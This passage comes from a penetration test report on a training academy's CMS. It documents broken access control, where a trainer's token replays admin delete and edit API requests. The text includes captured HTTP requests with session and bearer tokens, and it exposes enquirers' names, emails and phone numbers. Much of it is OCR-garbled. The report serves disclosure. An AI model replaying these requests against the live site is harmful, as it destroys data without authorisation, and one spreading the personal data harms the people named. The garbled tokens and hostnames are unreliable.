27 `"expectation":`

28 `"I want all types of support from you that will help me to build up my career in SQA sector.",`

29 `"choose_course":`

30 `"I want to build up my career in Software Quality Assurance sector."`

Vulnerability 4

Title: Non privileged users can access delete contact functionality leading access control vulnerability.

Description: The identified vulnerability allows all the non-privileged users to execute the delete functionality of the given APIs without even going to the delete page. By capturing and replicating the delete request initiated by an admin, the attacker may successfully delete contacts from the system. The issue underscores a failure in enforcing proper access controls, enabling unauthorized access to delete functionalities.

Target: cms.bjitacadey.com

URL/API:

DELETE /academysite/api/public/api/v1/contact/delete-contact-us/115 HTTP/1.1

DELETE /academysite/api/public/api/v1/news/delete-news/62 HTTP/1.1

DELETE /academysite/api/public/api/v1/post/delete-slider-post/61 HTTP/1.1

DELETE /academysite/api/public/api/v1/client/delete-client/56 HTTP/1.1

DELETE /academysite/api/public/api/v1/post/delete-fresh-talent-scope/43 HTTP/1.1

DELETE /academysite/api/public/api/v1/testimonial/delete-testimonial/60 HTTP/1.1

POC:

1. First i logged in as admin to see all the contract andBefore deleting the contact, here is the contact i am going to delete.

Serial	Name	Email	User Message	Arrival Date	Action
1	Afsarul Amin	afsarulamin10@gmail.com	How join Youth Training ? Is it free or paid?	00:14 04 Sep 2023	
2	Md. Mahamudu	mahamudulislamkhan@gmail.com	Any Managerial course are available in your organization.	16:22 23 Aug 2023	
3	Arman Rahman	arman.rahman@g.bracu.a	3 years of experience in Java. Willing to work as a trainee and gain experience in the field.	16:21 17 Aug 2023	
4	Md. Ayub Khan	itsaiub@gmail.com	Could you please inform me about the upcoming start date for the next cyber security course? I'm	15:41 12 Aug 2023	

2. I captured the delete contact request by clicking the delete button and sent it to the repeater.

```
Request
Pretty Raw Hex
1 DELETE /academysite/api/public/api/v1/contact/delete-contact-us-115
HTTP/1.1
2 Host: cms.bjitaacademy.com
3 Cookie: _ga=GA1.2.1043294729.1700465046; __gid=
GAL_2.320899588.1700465046; XSRF-TOKEN=
eyJpdidIiE6ICrSYONUrUCMoakxhVU1BbUdxC EhBtT0ESPSIsInZhBHV1IjoizGJUM29vNhpoUm
d5Q2VLNKLsTBTxRzWKCZL2VPhazJk3WRtWhQE3TzhvTxwNUJzehrZLY1BHDFA1UWdyZw
NzCzYsUJxKm1lRTE02lCzAaNjtgehtB0F021zrdeSWSUVAUzRmNbjoZdkPQtisRszM5Y
3YraQgNmBWWVwLiCJtYWHM1o13YTmHNGZkZj1mNj10DADoHTthMTU3YmVzZDjhZC15DFm
ODXMyZzIuNWY1ZTzKxNzdioGQ3NWVzZt dhmTVjOc3iwiwdGfnijo1n043D;
bjc_it_academicy_session
eyJpdidIiE1mNbHxGSEGRNn5ZsYrQkJkeJFvdBE8PSIsInZhBHV1IjoizUFZNKsJ0L23MTV
wKLNKLsTBTxRzWKCZL2VPhazJk3WRtWhQE3TzhvTxwNUJzehrZLY1BHDFA1UWdyZw
Yva0dKMc1rItb5FUuB4Y14d2dStU12Egvd9WpHiapWaNCBdF11ThcmovChTQQ
WUETCNGzNawkrbwk1JctJyWm1o13YTmHNGZkZj1mNj10DADoHTthMTU3YmVzZDjhZC15DFm
BzK2NWVlyNCU2NT1BMA14jM5E2DZEMeUSmzCmzbPh1iwiwdGfnijo1n043D;
_ga_P7XLBLS1j=GS1.2.1700472724.2.1.1700470958.0.0.0
4 Sec-Ch-Ua: "Chromium";v="115", "Not A BRAND";v="24"
Accept: application/json, text/plain, */*
5 X-XsrF-Token:
eyJpdidIiE6ICrSYONUrUCMoakxhVU1BbUdxC EhBtT0ESPSIsInZhBHV1IjoizGJUM29vNhpoUm
d5Q2VLNKLsTBTxRzWKCZL2VPhazJk3WRtWhQE3TzhvTxwNUJzehrZLY1BHDFA1UWdyZw
NzCzYsUJxKm1lRTE02lCzAaNjtgehtB0F021zrdeSWSUVAUzRmNbjoZdkPQtisRszM5Y
3YraQgNmBWWVwLiCJtYWHM1o13YTmHNGZkZj1mNj10DADoHTthMTU3YmVzZDjhZC15DFm
ODXMyZzIuNWY1ZTzKxNzdioGQ3NWVzZt dhmTVjOc3iwiwdGfnijo1n043D;
6 Sec-Ch-Ua: "Mobile": 20
7 Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzIiNj19.yJhdWQjoiI3iLiwiianRpIjoizjJhNTUsNW
EMzMc3YzFmNaEM4BdMmBzR0YzCYTtzJzJM020TUuNzJzTBMzYz1mNj10zDz2DzCY
zRzL2B4TcMmTmYHtSUm42Gh1CjPyXQ10jE3DAM0zNkduCmNwT100NTsNTyMjA4
0tg0Hmc1zLcTyzYm1o13Y3DA0NzWdNdzCmNzUzRwHt105Yz7tWdUoMcwzBt3HtgjNsWzLxWjlo
xNzAxMsQzQd03ljg4NjNgMDAy0TkwHzy1NzUyMjUsInNy1iL1i1qzIiwiicCnvGzVzjphxx
0.Mol2ccgQWBk08CxsPashx.74f1Htt0qIoWks4nkFimqauseWNS6g18nFiuVNM3mxGB
JzWmzBz6561zC1MVWuLhLm0t0GsiHxPnruDm3-a-i.Wia2mzS651Y7AATuTmzvxF4Ymz1m

```

3. After that I changed the token to trainer's token as it does not have the privilege to delete any contact and sent the request which leads to status 200 OK.

Request

Pretty Raw Hex

```
eywpuP1tL1Csy0nV1h0uAkrXv01Bd0uGcE1nD1T05PfS1n2fDwHv1Tj01ZLgW0r1sVnp0o00  
5QzLNLx1sRBTYhtWk2z1VPhuadJk3EWVt0QX8T2zhrYwxu0okZL1YBhFAlUwDyH  
Np2CSyUJmC1lRTB0c1LzdjZaNdj4ehtBQ0fQZldReSSWUArhKnhbjZodhSPQtatRSzMS1  
3Yra1RqhdNvVwWeLcjtY1m3TnHngZCzj1mDj10DAUNThMtu3YmVrZDhjN1SMDF  
ODNxYzL2Mw12TxhNdi0GQ3HwVhZdtMtVjO3C3IwiGFn1jIn0=
```

Sec-Ch-Ins-Mobile: 20

2 Authorization: Bearer

```
[yo]JeXa10igJkV1L0Q1LjChGbcGi0iJSUzIlNijs_eyJhW0Qi13LiwanPrlj0iInWRh0GR10  
FjNQ50Y2Pfc0CY4McFmhdNU00T1ly10iZwLNsVhYjlmD RhYj0hD85VWUlnDa32mVr  
GZHyTQ50DQyMcRHYTQZ0QmZmHmgzLcJpYXQ1ij3EMDAONzg3MTMuNtxMj900T13Nth3MD0  
OD44NDM3N5WibmmljoxNaWnDc4NzEsLj3MT107zKnd4NzlwSaZHT1LjCjHe1A10  
3MEHD13MTM0MTY3jAcMTEMeQxtNgt1NeDM3Nswic3Vi1j0injhk1LcJzYz2wZXM10  
tdf0_HCTpuUpTwF8rabbhAjFp0mf6d7z25onCE0f0dlFLSA9zSsF-RHg_IV3Ecg1LxN  
JjC7CZK8Lar5Bc024YLUc4Uphom0_d_AGH1KdLxTqmfcE2L7bpJAvTHGkoxnlBbL1J  
8gj-PENJmItffadF6l6uS0-2-15f1lCiYh1zYeMj0UGhgeRylXp_ptJfjeQyizWSHd0  
gfpv-nLr30rgs1L8-N8YwngRf8FzT2SqzKhpHj3G3xeUmdJShNjMCoABQNsPxqvLB7  
6Ayrrne7LmUrUyAlC1VCMHrDpTJNzKEMdiWzbghv1lXn1WmW0Us01lkpmwftGla8YTe  
i8Y1TqLgJwPis0p7lwJhnsSB5245seKGeow2W6Rf2zTfpB1zMyj5H3InRvzZ30QX-SB  
U7hAgAaZQ3CZQFW0BkvhfJnW5ZG72nlFl2Spti07cp3llmsLGaoM0s8S1czYg5Lxh  
MyEf3JB8uwzW_7EP7FFzC8BnqRyGeb0ja59SuLN-dfrQUTDiyAe687j  
wUhptpusUD9GYSH1C8BpaUntKBCjkSiWHzxuVrSeZ2RZhjhlCapE6Zb2xv04wLPdW78Jtk  
xtJeNomRddZW8yQ1qv7e6thmlMPmhzPHGnQL8wZKohuSoaRm
```

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

Sec-Ch-Ua-Platform: "Windows"

Origin: https://cms.bjitacademy.com

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://cms.bjitacademy.com/backend/all-enquiry

Accept-Encoding: gzip, deflate, br

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Priority: u=1, i

Search 0 highlight

Done

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
Date: Mon, 28 Nov, 2023 11:20:24 GMT
3 Server: Apache
4 Cache-Control: no-cache, private
5 X-RateLimit-Limit: 60
6 X-RateLimit-Remaining: 59
7 Access-Control-Allow-Origin: *
8 Vary: Accept-Encoding,Authorization
9 Connection: close
10 Content-Type: application/json
11 Content-Length: 15841
12
13 {
    "success":true,
    "result":{
        "data":[
            {
                "id":114,
                "name":"Md. Mahamudul Islam",
                "email":"mahamudulislamkhond@gmail.com",
                "phone_number":"01816917747",
                "user_message":
                    "Any Managerial course are available in your organization.",
                "sending_time":"16:22 23 Aug 2023"
            },
            {
                "id":113,
                "name":"Arman Rahman",
                "email":"arman.rahman@g.bracu.ac.bd",
                "phone_number":"01314856334",
                "user_message":
                    "3 years of experience in Java. Willing to work as a trainee and gain experience in the field.",
                "sending_time":"16:22 17 Aug 2023"
            }
        ]
    }
}
```

4. After that i checked the front end to ensure the deletion and there is no contact as the deletion was successful.

Serial	Name	Email	User Message	Arrival Date	Action
1	Md. Mahamudu	mahamudulislamkhan@gmail.com	Any Managerial course are available in your organization.	16:22 23 Aug 2023	Edit Delete
2	Arman Rahman	arman.rahman@g;bracu.ac.bd	3 years of experience in Java. Willing to work as a trainee and gain experience in the field.	16:21 17 Aug 2023	Edit Delete
3	Md. Ayub Khan	itsaiub@gmail.com	Could you please inform me about the upcoming start date for the next cyber security course? I'm	15:41 12 Aug 2023	Edit Delete
4	Afsarul Amin	afsrulamin10@gmail.com	Is youth skill development training is free?	11:18 05 Aug 2023	Edit

Other URL/API Screenshots:

DELETE /academysite/api/public/api/v1/news/delete-news/62 HTTP/1.1

Delete news>capture request>change token>send request>successful deletion

Request

```

1 DELETE /academysite/api/public/api/v1/news/delete-news/60 HTTP/1.1
2 Host: cms.bjitaracademy.com
3 Cookie: _ga=GAI.2.1043294729.1700465046; _gid=GAI.2.32889958.1700465046; _gat=1; _ga_P7XQLTSB1J=GS1.2.1700472724.2.1.1700473641.0.0.0
4 Sec-Ch-Ua: "Chromium";v="115", "Not?_Brand";v="24"
5 Accept: application/json, text/plain, */*
6 Sec-Ch-UA-Mobile: ?0
7 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzIiNi9...eyJhdWQiOiI3IiivianRpIjoiZTQ22mJmMTJhYzRyJjACNgyYWqZjA2Yjk5YjcyOTJ1ZjJiNDZ10WjM0GEcNjJhNzVjZjV1Mzq1Y2NhZmKzOTbjMGExN3NmMj1jmFlZMjCjpxYQ1QjE3MDA0NzH3NzMuMzcyrNDxCMdkOMTMxNDY5NzI2NTYyNwibmJmIjoxNzawNDczNzccLjNMjQ3NDlwDgyOdczNTMLMTU2MjUsImV4cCI6MTcvMTMsMzNc3M4y2hjkkMjMSMU0Th0Nj140TA2MjUsInN1Yi61jY51iwiCzNvcGVzIjpbXX0.08MvCCHlzshsWPJc1lqgruMmCm174_niyMW00TTTP4P4ne0HmCLIPExdPSYcvQwLptxKa0uWWD8zH5Qrw5bjHk4MB_Lmi_wkBQcIFYajpuIpzhdlLm3Bd5j5M_zVnokOSHybHQycgSCf1VyyutqSMUSAcimkdwazuc4mQj_340JZTPyRAN027ytAT7x05stG9dWVBlbU7d7ysprcsfcccTFWFrFZmnN8_D54jJbcImj3eS0wCGj-K5ohcf4qV1ZLBvUzsborqLyteNnt1wHWzhwdrK3C0o0EXGoyz8f7AoVZD0_18YhailMd9-7hFrIv5y7coo_BjRMfy76DNuvhghIR_2UhGRUoelrnObaoZhX7navOhU_0PoCFDyyQG6vBdiaAL797C9r-AWMUPQs7rQ_BB-hlmLYDrcRdganPHqyfTs_xzSINA2TThelyl_Nz112lok4hla2kw8YzVh9x_zL4wAdpElTtViCerbFWu0SMTsHM73vObp5gOhgoGuduWTEPXOUauCznmvbuD_G_QM3dWAdexJ4SHhDMuSzliwWDci_t9fzYQWugSaGCA6shsMjVrdsiwBtqlAkFKolPEDSahtIGjJ9sX40VzZJhrXzABRgsIm4ml0iT3cpnlIxhStms8s1Nhc9jk0WmsD43-v4uX1ZOn4
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
9 Sec-Ch-UA-Platform: "Windows"
10 Origin: https://cms.bjitaracademy.com
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: https://cms.bjitaracademy.com/backend/all-news
15 Accept-Encoding: gzip, deflate, br

```

Response

```

1 HTTP/1.1 200 OK
2 Date: Mon, 20 Nov 2023 09:50:37 GMT
3 Server: Apache
4 Cache-Control: no-cache, private
5 X-RateLimit-Limit: 60
6 X-RateLimit-Remaining: 59
7 Access-Control-Allow-Origin: *
8 Vary: Accept-Encoding,Authorization
9 Connection: close
10 Content-Type: application/json
11 Content-Length: 9301
12
13 {
    "success":true,
    "result":{
        "data":{
            "id":63,
            "serial":63,
            "title":"xxxxxxxxxxxx",
            "slug":"xxxxxxxxxxxx-2",
            "description":"><p>hsthbjk</p>",
            "image_url":
                "images/resource/ACo0WVQVkjz1UFvmhxstfuEFDIjcVypV0C54H4QA0.jpg",
            "image_alt":null,
            "banner_url":
                "images/resource/ns2VdMihYHz3N3PlhJ5u6UqAlo11M9hfXgH8jASU.jpg",
            "banner_alt":null,
            "date_posted":"20 Nov 2023",
            "publish_date":"2023-11-20",
            "updated_time":"15:47 20 Nov 2023",
            "year":1
        }
    }
}

```

DELETE /academysite/api/public/api/v1/post/delete-slider-post/61 HTTP/1.1
Delete banner>capture request>change token>send request>successful deletion

Request	Response
Pretty	Pretty
Raw	Raw
Hex	Hex
<pre>1 DELETE /academysite/api/public/api/v1/post/delete-slider-post/61 HTTP/1.1 2 Host: cms.bjitacademy.com 3 Cookie: __ga=GA1.2.1043294729.1700465046; _gid=GAI.2.328899585.1700465046; XSRF-TOKEN=eyJpdiI6ImvUVNNNSVAzexWxJ3Sm1dV1saMcSPSIjInzhbHV1ljoijnGHNchpUbnBzG2nSHVwWU5CTGhxRUZxeSsM1B yaajC2VGvgdwQ+WhRyT20NwEeRNHdKsHtU0147CgpSwRch1JnZVZReJ5SjEhdZvQ4WVUvMWZ1TjhQj2p4NkJ1alBTTRpGD RQMH1QDHNFVHuUtgxQj2xYUPyUebPqitWHXg1lZCjTWH101iy2WFkNwz0GUxNj1INDGn0z1z2mPmNsUzGCM30T1jYTz2M DH4MDKwNyMs2M4D2RMD2KZhYzwhmSYz32GUx1iwdGFnjoiIn03D; bjiit_academy_session= eyjdpiI6ImD3DfPhUmE0RhpKp0wY1LmLoecS9P5HdUZ1dIs0fK0CT3dPwG2TNUmSh16EVTN WdgxZM2H0UsTnByaW9KsWxJ5QsL0UNH8evHTuN3J3jWem1YfSTTMWdQ305ANHU02Wyzf3kSXWVnxPZEGUmlNek hbeUR1b1CNCNFU3PacqEgShV1JYK7W510wLcT01THwMISMjHgFZHDk10DyNTJ12ZdJhNDASH zim2TUxY1zMcGyYT840TbY0GfM1WzIfmPT0lyiwdGFnjoiIn03D; _gat=1; ga_FPVTSRBLj= GSL.2.1700644059.7.1.1700648319.0.0.0 4 Sec-Ch-Ua: "Chromium";v="119", "NotA.Brand";v="24" 5 Accept: application/json, text/plain, */* 6 X-XsrF-Token: eyjdpiI6ImvUVNNNSVAzexWxJ3Sm1dV1saMcSPSIjInzhbHV1ljoijnGHNchpUbnBzG2nSHVwWU5CTGhxRUZxeSsM1B yaajC2VGvgdwQ+WhRyT20NwEeRNHdKsHtU0147CgpSwRch1JnZVZReJ5SjEhdZvQ4WVUvMWZ1TjhQj2p4NkJ1alBTTRpGD RQMH1QDHNFVHuUtgxQj2xYUPyUebPqitWHXg1lZCjTWH101iy2WFkNwz0GUxNj1INDGn0z1z2mPmNsUzGCM30T1jYTz2M DH4MDKwNyMs2M4D2RMD2KZhYzwhmSYz32GUx1iwdGFnjoiIn03D 7 On-Header-Value: 8 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhbGwiOiIwMjM0cjc50I30D210Dp4MjI0TfhYtG3Mj VhNyNChjY2T12WhMh2dn0GhZGyNmT3Z6E0Yj...MeIuMz02x32Gj2pFhMv1MjgyMD4E4NzMuHlCpQYQj0iEMDAvNDuSH zuM0tHgME850750TgWLTQNTC0d1c1uMvYj03E3MADuHnsMu0tHgMD100ctCnHmWz0j-SmHj3NsW1zhWlx1o NzAxRAT5050T1j84HTY1OD4E9MhggMDHMsJ51nUn1Y1i61j9SiwiwgtLcxgYf1IdMkDk_h_nwQtCoY 2qimWpYwYxrXseMsP0tPfrumGztg03B...DnHhWtBnHgCHNFVWGWiclyg0gtLcxgYf1IdMkDk_h_nwQtCoY U0gDmhP0T...WeVf...eBngT2x...K5o0Ph33JubhCvUmt5B1s9w19...TpUppcG44HL17h1bdMuhwfd45a0 04M416KhF289WABXKs...HqRgWeTbj1j7z75saDncgUhuWtUeAMadnExzyvIayKRo143zr53Ek3hC7Vwjd5sEMDQJ SgqrYhlm5T9H0C2CWSga...IcPcm1Tx0h...FeJz2TNTJ1k7hW7Hitisz31...tMhUc...PsAC1535f0TeQ0jKvCFAz1IKW J1gnRfpnHxalyhlm5T9H0C2BdrhcmTA3NEBWh7...CzL428sgQf0Mh1vnwCz9CA294cgCz02AlRj-K4x-UcnMi10rm7 VuUtn70959VB4NgThmhuasBeg...LG59-35wBkHfM13-SJ...-TnxQwv2gbWpRcR1fqrZD55xalUdevDrNt1cmSH5hbQ 1GfjjpLqLB8h51J...Jro1sEV7qg...ew-BWLThR0Y05DfLkFj0c...HtLwv8931v06Eg...HgJ3vJxLw...H...MyWo User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)</pre>	<pre>1 HTTP/1.1 200 OK 2 Date: Wed, 22 Nov 2023 10:19:31 GMT 3 Server: Apache 4 Cache-Control: no-cache, private 5 X-RateLimit-Limit: 60 6 X-RateLimit-Remaining: 56 7 Access-Control-Allow-Origin: * 8 Vary: Accept-Encoding,Authorization 9 Connection: close 10 Content-Type: application/json 11 Content-Length: 4410 12 13 { "success":true, "result": { "data": [{ "id": 60, "title": "This is banner picture", "interval": "6000", "image_url": "images\\resource\\sPBrc4n01QuPbzQhB1xtC2cFrGQXslmUivG7VjE.jpg", "image_link": null, "image_alt": "This is banner picture", "tabs_image_url": "images\\resource\\yyzB1fAy7stVklCvntMaoJCNHw6zKomzaOlc1BUX.jpg", "mobile_image_url": "images\\resource\\JXH0ZclQBuKaxDiIhZsF6iAg0KTRj4FThuQsy7h.jpg", "icon_url": null, "icon_alt": null, "background_color": "#543030", "updated_time": "14:57 22 Nov 2023", "user": { "id": 48 } }] } }</pre>

DELETE /academysite/api/public/api/v1/client/delete-client/56 HTTP/1.1

Delete client>capture request>change token>send request>successful deletion

DELETE /academysite/api/public/api/v1/post/delete-fresh-talent-scope/43

HTTP/1.1

Delete youth skills>capture request>change token>send request>successful deletion

Request

Pretty Raw Hex

```
DELETE /asadesavite/api/public/api/v1/post/delete-fresh-talent-scope/43 HTTP/1.1
Host: cas.bjrtacademy.com
Cookie: _ga=GA.1.2.32088958.1700465046; XSRF-TOKEN=jdPjd16ImlvUVNNSSVAzxFSeXj3Sm1ldVlSaMeSPSiInzBhbHlV1joInGHCbVmBzDcZnSHWuW5CTGhxRUEzeSsxM1
Pya=CzVGvGdhvqWxHbZ0WnbnEBHdEStw0147GppSmRcbJnV2ZBxEJSzHdR2W4wV8Hw2L1jhpQ4HhJ1laBStTTBp
ODjBQMH1jUHFbWhuUtgzQjxkTUpyBphjutWDQgkLjCtYWHMj1loiyZWPWhWHzoGxkj1lNDg0uN1z2zRaMuNsUHGM030t1jYt
ZzMDM4DkNjNjMz2D8k2HD2kYahwMx5KmLi1viDfNj1oiIn0v3D; b_jst_academic_session=
yJjd16Im16InBD3FhuKEUkDpkxXwM1llozc2SP5iBzWbHlV1joIrd21z1sEUk0tC3dFGuz7M5nkg5Mh16vT
NWdQwzXZM3h3TnByAwrBwXkj5Ls1lONHFnJ33jEwM2103n5AnE0T2W3t3H5vZnxP2PgcUdUnL
ehkbwErUR1LbRNHCWn3h3TnByAwrBwXkj5Ls1lONHFnJ33jEwM2103n5AnE0T2W3t3H5vZnxP2PgcUdUnL
ASMrMh16Im16I1MoGyTz84tTBy4-GFM1W1zFpkeTYtUy1wi1viDfNj1oiIn0v3D; _get1=_ga_PTXJL75B1j=
GSL_1.1700644099.7.1.17006440751.0.0.0
Sec-Ch-Ua: "Chromium";v="119", "Not_A_Brand";v="24"
Accept: application/json, text/plain, */*
X-Srft-Token:
Authorization: Bearer eyJpjd16ImlvUVNNSSVAzxFSeXj3Sm1ldVlSaWe5PSiInzBhbHlV1joInGHCbVmBzDcZnSHWuW5CTGhxRUEzeSsxM1
Pya=CzVGvGdhvqWxHbZ0WnbnEBHdEStw0147GppSmRcbJnV2ZBxEJSzHdR2W4wV8Hw2L1jhpQ4HhJ1laBStTTBp
ODjBQMH1jUHFbWhuUtgzQjxkTUpyBphjutWDQgkLjCtYWHMj1loiyZWPWhWHzoGxkj1lNDg0uN1z2zRaMuNsUHGM030t1jYt
ZzMDM4DkNjNjMz2D8k2HD2kYahwMx5KmLi1viDfNj1oiIn0v3D
Access-Control-Allow-Origin: *
Connection: close
Content-Type: application/json
Content-Length: 4540
13 {
```

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
Date: Wed, 22 Nov 2023 10:26:40 GMT
Server: Apache
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
Access-Control-Allow-Origin: *
Vary: Accept-encoding, Authorization
Connection: close
Content-Type: application/json
Content-Length: 4540
13 {
```

"success":true,
"result":{
"data":{
"
"id":46,
"title": "xxxxxxxxxxxxxxxxxx",
"image_url": null,
"image_link": "images/resource/\\YxxPfIXx8ixDVSXVjuLEN5smvOnWj5un2U78nQ11.jpg",
"
"image_alt": null,
"tab_image_url": null,
"mobile_image_url": null,
"icon_url": "images/resource/\\5ofPplaCj3Rs2n70h4389FGNhCo730S5801mmzsT.jpg",
"
"icon_alt": null,
"background_color": null,
"updated_time": "16:17 22 Nov 2023",
"user": {
"id": 52,
"name": "Rana Tabassum",
"email": "rana.tabassum@bjrtacademy.com"

DELETE /academy/api/public/api/v1/testimonial/delete-testimonial/60 HTTP/1.1

Delete testimonial>capture request>change token>send request>successful deletion

Vulnerability 5

Title: Non privileged users can access edit any function, leading access control vulnerability.

Description: The identified vulnerability allows all the non-privileged users to execute the edit functionality without even going to the edit page. By capturing and replicating the edit request initiated by an admin, the attacker may successfully edit. The issue underscores a failure in enforcing proper access controls, enabling unauthorized access to edit functionalities.

Target: cms.bjitacadey.com

URL/API:

```
POST /academysite/api/public/api/v1/client/edit-client/34 HTTP/1.1
POST /academysite/api/public/api/v1/post/edit-slider-post/60 HTTP/1.1
POST /academysite/api/public/api/v1/post/edit-fresh-talent-scope/46 HTTP/1.1
POST /academysite/api/public/api/v1/testimonial/edit-testimonial/58 HTTP/1.1
POST /academysite/api/public/api/v1/user/update-user HTTP/1.
POST /academysite/api/public/api/v1/pages/update-page/1 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/2 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/3 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/4 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/5 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/6 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/7 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/8 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/9 HTTP/1.1
POST /academysite/api/public/api/v1/pages/update-page/14 HTTP/1.1
```

POC:

- First went to the edit client page from super admin user to capture the edit client request.

The screenshot shows the BJIT Academy Backend interface. On the left, there's a sidebar with navigation links like 'Add Banner', 'All Banners', 'Add Client', 'All Clients', etc. The main area is titled 'Backend > All Clients' and shows a table with four rows of client data. Each row has a red border around it. The columns are 'Serial Logo', 'Name', 'Updated by User', 'Last Updated', and 'Action'. The 'Action' column contains icons for edit and delete. Below this table is another section titled 'Edit Client' with fields for 'Name' (set to 'edited ddd') and 'Logo' (with a placeholder 'Please provide a logo (W x H) (200 x 48)px'). A large red box highlights the 'Save' button at the bottom of the 'Edit Client' form.

Serial Logo	Name	Updated by User	Last Updated	Action
1	ddd	Rushmia Ahmed	16:09 20 Nov 2023	Edit Delete
2	ddd	Rushmia Ahmed	16:09 20 Nov 2023	Edit Delete
3	ddd	Rushmia Ahmed	16:05 20 Nov 2023	Edit Delete
4	ddd	Rushmia Ahmed	16:05 20 Nov 2023	Edit Delete

Edit Client

Name (Client image alt text): edited ddd

Logo
Please provide a logo (W x H) (200 x 48)px

Choose file No file chosen

Save

2. After that i sent the request to the repeater and changed the token to trainer's token as it does not have the privilege to any client and sent the request which leads to status 200 OK.

3. After that I checked the front end to ensure the edit and the edit is successful.

Serial	Logo	Name	Updated by User	Last Updated	Action
1		edited ddd	testTrainerAsef	10:14 21 Nov 2023	
2		ddd	Rushmia Ahmed	16:09 20 Nov 2023	
3		ddd	Rushmia Ahmed	16:05 20 Nov 2023	
					

POST /academysite/api/public/api/v1/post/edit-slider-post/60 HTTP/1.1
Edit banner>capture request>change token>send request>successful edit.

POST /academy/api/public/api/v1/post/edit-fresh-talent-scope/46 HTTP/1.1
Edit youth skill>capture request>change token>send request>successful edit.

Request

Pretty Raw Hex

1 POST /academyite/api/public/api/v1/post/edit-fresh-talent-scope/46 HTTP/1.1
2 Host: cms.bjtcacademy.com
3 Cookie: _ga=GA1.2.1043254279.1700465046; _gid=GA1.2.320899558.1700465046; XSRF-TOKEN=eyjdPlI6ImlyVNNNSVAzoxFseXj3SmldV1sWaC9PSIsIn2hbHvL1joInGNGHcmvBnB2dGzNshWvW5CTGhxRUZxSszMlRyaqJQCVgogvdhQwBYElZ0WNBnBHDreStwU10TqppSnRCb1ln2V2ReJ3SeHdZ2V4WVWzE00UxJ1NDg0Hsiz2mBnMzUzMhM30t1jYT2ZMD40DxhjMx2jM2DzRjMd2Kyh
4xWmB5tY2z32GU1mdGfN1joIn0=; bjt_academy_session=
5 eyjdPlI6ImlyVNNNSVAzoxFseXj3SmldV1sWaC9PSIsIn2hbHvL1joInGNGHcmvBnB2dGzNshWvW5CTGhxRUZxSszMlRyaqJQCVgogvdhQwBYElZ0WNBnBHDreStwU10TqppSnRCb1ln2V2ReJ3SeHdZ2V4WVWzE00UxJ1NDg0Hsiz2mBnMzUzMhM30t1jYT2ZMD40DxhjMx2jM2DzRjMd2Kyh
6 hPc9GSHz2j_AwV3NsUdAeHh3WmBnBHDreStwU10TqppSnRCb1ln2V2ReJ3SeHdZ2V4WVWzE00UxJ1NDg0Hsiz2mBnMzUzMhM30t1jYT2ZMD40DxhjMx2jM2DzRjMd2Kyh
7 hPc9GSHz2j_AwV3NsUdAeHh3WmBnBHDreStwU10TqppSnRCb1ln2V2ReJ3SeHdZ2V4WVWzE00UxJ1NDg0Hsiz2mBnMzUzMhM30t1jYT2ZMD40DxhjMx2jM2DzRjMd2Kyh
8 FwM12zg3FaTuV1jimidGfN1joIn0=; _gac_1=ga_FXXkSlSBlU=SSIL.1.1700651543.8.1.1700651515.0.0.0
9 Content-Length: 627
10 Sec-CH-Ua: "Chromium"; v="119", "Not-A-Brand"; v="24"
11 X-XsrFt-Key:
12 eyjdPlI6ImlyVNNNSVAzoxFseXj3SmldV1sWaC9PSIsIn2hbHvL1joInGNGHcmvBnB2dGzNshWvW5CTGhxRUZxSszMlRyaqJQCVgogvdhQwBYElZ0WNBnBHDreStwU10TqppSnRCb1ln2V2ReJ3SeHdZ2V4WVWzE00UxJ1NDg0Hsiz2mBnMzUzMhM30t1jYT2ZMD40DxhjMx2jM2DzRjMd2Kyh
13 x-Content-Type: application/json
14 Content-Type: application/json
15 Content-Length: 4543
16 {
17 "success": true,
18 "result":
19 "data": [
20 {
21 "id": 46,
22 "title": "edited sssss",
23 "interval": null,
24 "image_url":
25 "images": {
26 "resource": "/TxXKF#E0g81xDVSXuLLEN5xmvOnWjsunCU78nQ1I.jpg",
27 "image": null,
28 "image_md": null,
29 "tabs_image_url": null,
30 "mobile_image_url": null,
31 "icon_url":
32 "images": {
33 "resource": "/5oPpl2aJSpS2n70h4389FGNh0730S580immzst.T.jpg",
34 "icon": null,
35 "background_color": null,
36 "updated_time": "17:31 22 Nov 2023",
37 "user": [
38 {
39 "id": 43,
40 "name": "Mahmed Ifrahah Israf"}

POST /academysite/api/public/api/v1/testimonial/edit-testimonial/58 HTTP/1.1

Edit testimonial>capture request>change token>send request>successful edit.

Request		Response			
Pretty	Raw	Hex	Raw	Hex	Render
1 POST /academy/api/public/api/v1/testimonial/edit-testimonial/58 HTTP/1.1			1 HTTP/1.1 200 OK		
2 Host: as-bit-academy.com			2 Date: Wed, 29 Nov 2023 11:34:16 GMT		
3 Cache-Control: no-store, no-cache, private			3 Server: Apache/2.4.41 (Ubuntu)		
4 X-Frame-Options: SAMEORIGIN			4 Cache-Control: no-cache, private		
5 X-RateLimit-Limit: 60			5 X-RateLimit-Limit: 60		
6 X-RateLimit-Remaining: 58			6 X-RateLimit-Remaining: 58		
